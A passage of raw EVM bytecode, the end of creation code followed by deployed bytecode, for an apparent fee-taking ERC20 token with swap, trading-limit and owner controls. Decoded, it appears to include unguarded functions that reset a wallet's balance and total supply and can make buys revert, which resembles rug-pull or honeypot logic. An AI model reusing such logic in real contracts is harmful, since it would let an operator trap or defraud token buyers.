6f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f614225602383612e87565b9150614230826141cb565b604082019050919050565b5f6020820190508181035f83015261425281614219565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6142b3602683612e87565b91506142be82614259565b604082019050919050565b5f6020820190508181035f8301526142e0816142a7565b9050919050565b5f815190506142f581612f68565b92915050565b5f602082840312156143105761430f612f30565b5b5f61431d848285016142e7565b91505092915050565b5f819050919050565b5f61434961434461433f84614326565b61345e565b612f92565b9050919050565b6143598161432f565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61439181612f57565b82525050565b5f6143a28383614388565b60208301905092915050565b5f602082019050919050565b5f6143c48261435f565b6143ce8185614369565b93506143d983614379565b805f5b838110156144095781516143f08882614397565b97506143fb836143ae565b9250506001810190506143dc565b5085935050505092915050565b5f60a0820190506144295f83018861324d565b6144366020830187614350565b818103604083015261444881866143ba565b90506144576060830185613036565b614464608083018461324d565b9695505050505050565b5f60c0820190506144815f830189613036565b61448e602083018861324d565b61449b6040830187614350565b6144a86060830186614350565b6144b56080830185613036565b6144c260a083018461324d565b979650505050505050565b5f815190506144db81612f9b565b92915050565b5f805f606084860312156144f8576144f7612f30565b5b5f614505868287016144cd565b9350506020614516868287016144cd565b9250506040614527868287016144cd565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e63650000005f82015250565b5f614565601d83612e87565b915061457082614531565b602082019050919050565b5f6020820190508181035f83015261459281614559565b9050919050565b5f81905092915050565b50565b5f6145b15f83614599565b91506145bc826145a3565b5f82019050919050565b5f6145d0826145a6565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c20725f8201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b5f614634603a83612e87565b915061463f826145da565b604082019050919050565b5f6020820190508181035f83015261466181614628565b905091905056fea2646970667358221220908d1856db71f00cb44073b8d20f4d95ae277882ba31a2d3490a1a732b308fda64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610249575f3560e01c806370a0823111610138578063a9059cbb116100b5578063e1b450ad11610079578063e1b450ad14610833578063ee36e3591461085b578063f2fde38b14610885578063f66895a3146108ad578063f887ea40146108da578063fbe6324e1461090457610250565b8063a9059cbb1461074b578063c5bc523c14610787578063c5d32bb214610791578063d2ce0db2146107cd578063dd62ed3e146107f757610250565b80638cd4426d116100fc5780638cd4426d146106695780638da5cb5b1461069157806395d89b41146106bb578063a457c2d7146106e5578063a8aa1b311461072157610250565b806370a08231146105b6578063728f8eea146105f25780637ce62b691461061f57806385141a771461062957806386ea14471461065357610250565b8063274a533c116101c657806342b6fa111161018a57806342b6fa11146104e65780634ada218b1461050e578063652e2f041461053857806366a88d96146105625780636aa5b37f1461058c57610250565b8063274a533c14610404578063313ce5671461042e578063355496ca1461045857806339509351146104805780633f9440c2146104bc57610250565b80631675d8021161020d5780631675d8021461033457806316fc50691461035e57806318160ddd1461038857806320800a00146103b257806323b872dd146103c857610250565b806306fdde0314610254578063095ea7b31461027e5780630d5cc372146102ba5780630e375a5c146102e45780631340538f1461030c57610250565b3661025057005b5f80fd5b34801561025f575f80fd5b5061026861092e565b6040516102759190612f07565b60405180910390f35b348015610289575f80fd5b506102a4600480360381019061029f9190612fc5565b6109be565b6040516102b1919061301d565b60405180910390f35b3480156102c5575f80fd5b506102ce6109db565b6040516102db9190613045565b60405180910390f35b3480156102ef575f80fd5b5061030a600480360381019061030591906131c8565b610a00565b005b348015610317575f80fd5b50610332600480360381019061032d9190613222565b610b0d565b005b34801561033f575f80fd5b50610348610ba6565b604051610355919061325c565b60405180910390f35b348015610369575f80fd5b50610372610bac565b60405161037f9190613045565b60405180910390f35b348015610393575f80fd5b5061039c610bd1565b6040516103a9919061325c565b60405180910390f35b3480156103bd575f80fd5b506103c6610bda565b005b3480156103d3575f80fd5b506103ee60048036038101906103e99190613275565b610ca8565b6040516103fb919061301d565b60405180910390f35b34801561040f575f80fd5b50610418610da3565b604051610425919061325c565b60405180910390f35b348015610439575f80fd5b50610442610da9565b60405161044f91906132e0565b60405180910390f35b348015610463575f80fd5b5061047e600480360381019061047991906132f9565b610db1565b005b34801561048b575f80fd5b506104a660048036038101906104a19190612fc5565b610e85565b6040516104b3919061301d565b60405180910390f35b3480156104c7575f80fd5b506104d0610f2c565b6040516104dd9190613045565b60405180910390f35b3480156104f1575f80fd5b5061050c60048036038101906105079190613337565b610f51565b005b348015610519575f80fd5b5061052261103a565b60405161052f919061301d565b60405180910390f35b348015610543575f80fd5b5061054c61104d565b604051610559919061325c565b60405180910390f35b34801561056d575f80fd5b50610576611053565b604051610583919061325c565b60405180910390f35b348015610597575f80fd5b506105a0611059565b6040516105ad919061325c565b60405180910390f35b3480156105c1575f80fd5b506105dc60048036038101906105d79190613362565b61105f565b6040516105e9919061325c565b60405180910390f35b3480156105fd575f80fd5b506106066110a4565b604051610616949392919061338d565b60405180910390f35b6106276110c1565b005b348015610634575f80fd5b5061063d6110fb565b60405161064a9190613045565b60405180910390f35b34801561065e575f80fd5b50610667611101565b005b348015610674575f80fd5b5061068f600480360381019061068a9190612fc5565b611188565b005b34801561069c575f80fd5b506106a56112f9565b6040516106b29190613045565b60405180910390f35b3480156106c6575f80fd5b506106cf611321565b6040516106dc9190612f07565b60405180910390f35b3480156106f0575f80fd5b5061070b60048036038101906107069190612fc5565b6113b1565b604051610718919061301d565b60405180910390f35b34801561072c575f80fd5b506107356114a0565b6040516107429190613045565b60405180910390f35b348015610756575f80fd5b50610771600480360381019061076c9190612fc5565b6114c5565b60405161077e919061301d565b60405180910390f35b61078f6114db565b005b34801561079c575f80fd5b506107b760048036038101906107b29190613362565b611501565b6040516107c4919061301d565b60405180910390f35b3480156107d8575f80fd5b506107e161151e565b6040516107ee919061325c565b60405180910390f35b348015610802575f80fd5b5061081d600480360381019061081891906133d0565b611524565b60405161082a919061325c565b60405180910390f35b34801561083e575f80fd5b506108596004803603810190610854919061340e565b6115a6565b005b348015610866575f80fd5b5061086f611765565b60405161087c919061301d565b60405180910390f35b348015610890575f80fd5b506108ab60048036038101906108a69190613362565b611777565b005b3480156108b8575f80fd5b506108c161186d565b6040516108d1949392919061338d565b60405180910390f35b3480156108e5575f80fd5b506108ee61188a565b6040516108fb91906134b9565b60405180910390f35b34801561090f575f80fd5b506109186118af565b604051610925919061301d565b60405180910390f35b60606003805461093d906134ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610969906134ff565b80156109b45780601f1061098b576101008083540402835291602001916109b4565b820191905f5260205f20905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b5f6109d16109ca6118c2565b84846118c9565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a086118c2565b73ffffffffffffffffffffffffffffffffffffffff16610a266112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7390613579565b60405180910390fd5b5f5b8251811015610b085781601b5f858481518110610a9e57610a9d613597565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610b00906135f1565b915050610a7e565b505050565b610b156118c2565b73ffffffffffffffffffffffffffffffffffffffff16610b336112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8090613579565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b60085481565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b610be26118c2565b73ffffffffffffffffffffffffffffffffffffffff16610c006112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4d90613579565b60405180910390fd5b5f479050610c626112f9565b73ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610ca4573d5f803e3d5ffd5b5050565b5f610cb4848484611a8c565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610cfb6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d71906136a8565b60405180910390fd5b610d9785610d866118c2565b8584610d9291906136c6565b6118c9565b60019150509392505050565b600c5481565b5f6012905090565b610db96118c2565b73ffffffffffffffffffffffffffffffffffffffff16610dd76112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2490613579565b60405180910390fd5b80601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610f22610e916118c2565b848460015f610e9e6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f1d91906136f9565b6118c9565b6001905092915050565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f596118c2565b73ffffffffffffffffffffffffffffffffffffffff16610f776112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc490613579565b60405180910390fd5b612710811115611012576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110099061379c565b60405180910390fd5b61101a610da9565b600a61102691906138e9565b816110319190613933565b60088190555050565b600760169054906101000a900460ff1681565b600a5481565b600b5481565b60095481565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6013805f0154908060010154908060020154908060030154905084565b6110f960115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c01431e0fae6d7217caa0000000612401565b565b61dead81565b6111096118c2565b73ffffffffffffffffffffffffffffffffffffffff166111276112f9565b73ffffffffffffffffffffffffffffffffffffffff161461117d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117490613579565b60405180910390fd5b6111865f6124b2565b565b6111906118c2565b73ffffffffffffffffffffffffffffffffffffffff166111ae6112f9565b73ffffffffffffffffffffffffffffffffffffffff1614611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fb90613579565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611272576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611269906139e4565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6112966112f9565b836040518363ffffffff1660e01b81526004016112b4929190613a02565b6020604051808303815f875af11580156112d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112f49190613a3d565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611330906134ff565b80601f016020809104026020016040519081016040528092919081815260200182805461135c906134ff565b80156113a75780601f1061137e576101008083540402835291602001916113a7565b820191905f5260205f20905b81548152906001019060200180831161138a57829003601f168201915b5050505050905090565b5f8060015f6113be6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015611478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146f90613ad8565b60405180910390fd5b6114956114836118c2565b85858461149091906136c6565b6118c9565b600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6114d1338484611a8c565b6001905092915050565b6003600d5f6101000a81548163ffffffff021916908360030b63ffffffff160217905550565b601b602052805f5260405f205f915054906101000a900460ff1681565b601e5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6115ae6118c2565b73ffffffffffffffffffffffffffffffffffffffff166115cc6112f9565b73ffffffffffffffffffffffffffffffffffffffff1614611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990613579565b60405180910390fd5b612710831015611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165e90613b66565b60405180910390fd5b6127108210156116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613bf4565b60405180910390fd5b6127108110156116f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e890613c82565b60405180910390fd5b6116f9610da9565b600a61170591906138e9565b836117109190613933565b60098190555061171e610da9565b600a61172a91906138e9565b826117359190613933565b600a81905550611743610da9565b600a61174f91906138e9565b8161175a9190613933565b600b81905550505050565b601d5f9054906101000a900460ff1681565b61177f6118c2565b73ffffffffffffffffffffffffffffffffffffffff1661179d6112f9565b73ffffffffffffffffffffffffffffffffffffffff16146117f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ea90613579565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185890613d10565b60405180910390fd5b61186a816124b2565b50565b6017805f0154908060010154908060020154908060030154905084565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760159054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613d9e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199c90613e2c565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a7f919061325c565b60405180910390a3505050565b5f8111611ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac590613eba565b60405180910390fd5b601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611b6c5750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bc157600760169054906101000a900460ff16611bc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb790613f22565b60405180910390fd5b5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c645750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611c7d5750600760149054906101000a900460ff16155b15611d2057600954811115611cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbe90613f8a565b60405180910390fd5b600b5481611cd48461105f565b611cde91906136f9565b1115611d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1690613ff2565b60405180910390fd5b5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dc45750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e175750601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e305750600760149054906101000a900460ff16155b1561201157600a54811115611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e719061405a565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611f2757600b5481611edb8461105f565b611ee591906136f9565b1115611f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1d90613ff2565b60405180910390fd5b5b601d5f9054906101000a900460ff1615612010575f601c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205442611f8591906136c6565b9050601e54811015611fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc3906140c2565b60405180910390fd5b42601c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5b5f805f61201c612e59565b5f601b5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120bb5750601b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120d55750600e54600c546120d291906136f9565b43105b9050600760149054906101000a900460ff16806121385750601b5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806121895750601b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612196575f9250612315565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156121f0575080155b15612287576001600d5f9054906101000a900460030b60030b14612212575f80fd5b60176003015460176002015460175f015460176001015461223391906136f9565b61223d91906136f9565b61224791906136f9565b945084935060176040518060800160405290815f820154815260200160018201548152602001600282015481526020016003820154815250509150612314565b806123015760136003015460136002015460135f01546013600101546122ad91906136f9565b6122b791906136f9565b6122c191906136f9565b945084935060136040518060800160405290815f820154815260200160018201548152602001600282015481526020016003820154815250509150612313565b801561231257600f549450600f5493505b5b5b5b606484876123239190613933565b61232d919061410d565b9250600760159054906101000a900460ff168015612398575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b156123a8576123a78583612575565b5b6123be888885896123b991906136c6565b6127f0565b5f8311156123f7575f8511156123f6575f606486886123dd9190613933565b6123e7919061410d565b90506123f48930836127f0565b505b5b5050505050505050565b80600281905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124a6919061325c565b60405180910390a35050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760149054906101000a900460ff166127ec576001600760146101000a81548160ff0219169083151502179055505f8203156127d1575f6125b63061105f565b905060085481106127cf57600160085411156125d25760085490505b5f6002846125e09190613933565b90505f818460200151846125f49190613933565b6125fe919061410d565b90505f818461260d91906136c6565b90505f47905061261c82612a58565b5f814761262991906136c6565b90505f87602001518661263c91906136c6565b82612647919061410d565b90505f88602001518261265a9190613933565b90505f81111561266f5761266e8682612c8e565b5b5f895f01516002846126819190613933565b61268b9190613933565b90505f8111156126e0576126df8160105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612d6990919063ffffffff16565b5b5f8a604001516002856126f39190613933565b6126fd9190613933565b90505f811115612752576127518160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612d6990919063ffffffff16565b5b5f8b606001516002866127659190613933565b61276f9190613933565b90505f8111156127c4576127c38160115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612d6990919063ffffffff16565b5b505050505050505050505b505b5f600760146101000a81548160ff0219169083151502179055505b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361285e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612855906141ad565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036128cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c39061423b565b60405180910390fd5b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561294f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612946906142c9565b60405180910390fd5b818161295b91906136c6565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546129e691906136f9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a4a919061325c565b60405180910390a350505050565b5f600267ffffffffffffffff811115612a7457612a73613062565b5b604051908082528060200260200182016040528015612aa25781602001602082028036833780820191505090505b50905030815f81518110612ab957612ab8613597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612b5d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612b8191906142fb565b81600181518110612b9557612b94613597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612bfb3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118c9565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612c5d959493929190614416565b5f604051808303815f87803b158015612c74575f80fd5b505af1158015612c86573d5f803e3d5ffd5b505050505050565b612cba3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118c9565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8061dead426040518863ffffffff1660e01b8152600401612d219695949392919061446e565b60606040518083038185885af1158015612d3d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190612d6291906144e1565b5050505050565b80471015612dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612da39061457b565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1682604051612dd1906145c6565b5f6040518083038185875af1925050503d805f8114612e0b576040519150601f19603f3d011682016040523d82523d5f602084013e612e10565b606091505b5050905080612e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e4b9061464a565b60405180910390fd5b505050565b60405180608001604052805f81526020015f81526020015f81526020015f81525090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612eb4578082015181840152602081019050612e99565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612ed982612e7d565b612ee38185612e87565b9350612ef3818560208601612e97565b612efc81612ebf565b840191505092915050565b5f6020820190508181035f830152612f1f8184612ecf565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612f6182612f38565b9050919050565b612f7181612f57565b8114612f7b575f80fd5b50565b5f81359050612f8c81612f68565b92915050565b5f819050919050565b612fa481612f92565b8114612fae575f80fd5b50565b5f81359050612fbf81612f9b565b92915050565b5f8060408385031215612fdb57612fda612f30565b5b5f612fe885828601612f7e565b9250506020612ff985828601612fb1565b9150509250929050565b5f8115159050919050565b61301781613003565b82525050565b5f6020820190506130305f83018461300e565b92915050565b61303f81612f57565b82525050565b5f6020820190506130585f830184613036565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61309882612ebf565b810181811067ffffffffffffffff821117156130b7576130b6613062565b5b80604052505050565b5f6130c9612f27565b90506130d5828261308f565b919050565b5f67ffffffffffffffff8211156130f4576130f3613062565b5b602082029050602081019050919050565b5f80fd5b5f61311b613116846130da565b6130c0565b9050808382526020820190506020840283018581111561313e5761313d613105565b5b835b8181101561316757806131538882612f7e565b845260208401935050602081019050613140565b5050509392505050565b5f82601f8301126131855761318461305e565b5b8135613195848260208601613109565b91505092915050565b6131a781613003565b81146131b1575f80fd5b50565b5f813590506131c28161319e565b92915050565b5f80604083850312156131de576131dd612f30565b5b5f83013567ffffffffffffffff8111156131fb576131fa612f34565b5b61320785828601613171565b9250506020613218858286016131b4565b9150509250929050565b5f6020828403121561323757613236612f30565b5b5f613244848285016131b4565b91505092915050565b61325681612f92565b82525050565b5f60208201905061326f5f83018461324d565b92915050565b5f805f6060848603121561328c5761328b612f30565b5b5f61329986828701612f7e565b93505060206132aa86828701612f7e565b92505060406132bb86828701612fb1565b9150509250925092565b5f60ff82169050919050565b6132da816132c5565b82525050565b5f6020820190506132f35f8301846132d1565b92915050565b5f806040838503121561330f5761330e612f30565b5b5f61331c85828601612f7e565b925050602061332d858286016131b4565b9150509250929050565b5f6020828403121561334c5761334b612f30565b5b5f61335984828501612fb1565b91505092915050565b5f6020828403121561337757613376612f30565b5b5f61338484828501612f7e565b91505092915050565b5f6080820190506133a05f83018761324d565b6133ad602083018661324d565b6133ba604083018561324d565b6133c7606083018461324d565b95945050505050565b5f80604083850312156133e6576133e5612f30565b5b5f6133f385828601612f7e565b925050602061340485828601612f7e565b9150509250929050565b5f805f6060848603121561342557613424612f30565b5b5f61343286828701612fb1565b935050602061344386828701612fb1565b925050604061345486828701612fb1565b9150509250925092565b5f819050919050565b5f61348161347c61347784612f38565b61345e565b612f38565b9050919050565b5f61349282613467565b9050919050565b5f6134a382613488565b9050919050565b6134b381613499565b82525050565b5f6020820190506134cc5f8301846134aa565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061351657607f821691505b602082108103613529576135286134d2565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613563602083612e87565b915061356e8261352f565b602082019050919050565b5f6020820190508181035f83015261359081613557565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135fb82612f92565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361362d5761362c6135c4565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f613692602883612e87565b915061369d82613638565b604082019050919050565b5f6020820190508181035f8301526136bf81613686565b9050919050565b5f6136d082612f92565b91506136db83612f92565b92508282039050818111156136f3576136f26135c4565b5b92915050565b5f61370382612f92565b915061370e83612f92565b9250828201905080821115613726576137256135c4565b5b92915050565b7f53776170207468726573686f6c6420616d6f756e742073686f756c64206265205f8201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e730000602082015250565b5f613786603e83612e87565b91506137918261372c565b604082019050919050565b5f6020820190508181035f8301526137b38161377a565b9050919050565b5f8160011c9050919050565b5f808291508390505b600185111561380f578086048111156137eb576137ea6135c4565b5b60018516156137fa5780820291505b8081029050613808856137ba565b94506137cf565b94509492505050565b5f8261382757600190506138e2565b81613834575f90506138e2565b816001811461384a576002811461385457613883565b60019150506138e2565b60ff841115613866576138656135c4565b5b8360020a91508482111561387d5761387c6135c4565b5b506138e2565b5060208310610133831016604e8410600b84101617156138b85782820a9050838111156138b3576138b26135c4565b5b6138e2565b6138c584848460016137c6565b925090508184048111156138dc576138db6135c4565b5b81810290505b9392505050565b5f6138f382612f92565b91506138fe836132c5565b925061392b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613818565b905092915050565b5f61393d82612f92565b915061394883612f92565b925082820261395681612f92565b9150828204841483151761396d5761396c6135c4565b5b5092915050565b7f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c5f8201527f616e6365206f6620697473206f776e20746f6b656e7300000000000000000000602082015250565b5f6139ce603683612e87565b91506139d982613974565b604082019050919050565b5f6020820190508181035f8301526139fb816139c2565b9050919050565b5f604082019050613a155f830185613036565b613a22602083018461324d565b9392505050565b5f81519050613a378161319e565b92915050565b5f60208284031215613a5257613a51612f30565b5b5f613a5f84828501613a29565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f00000000000000000000000000000000000000000000000000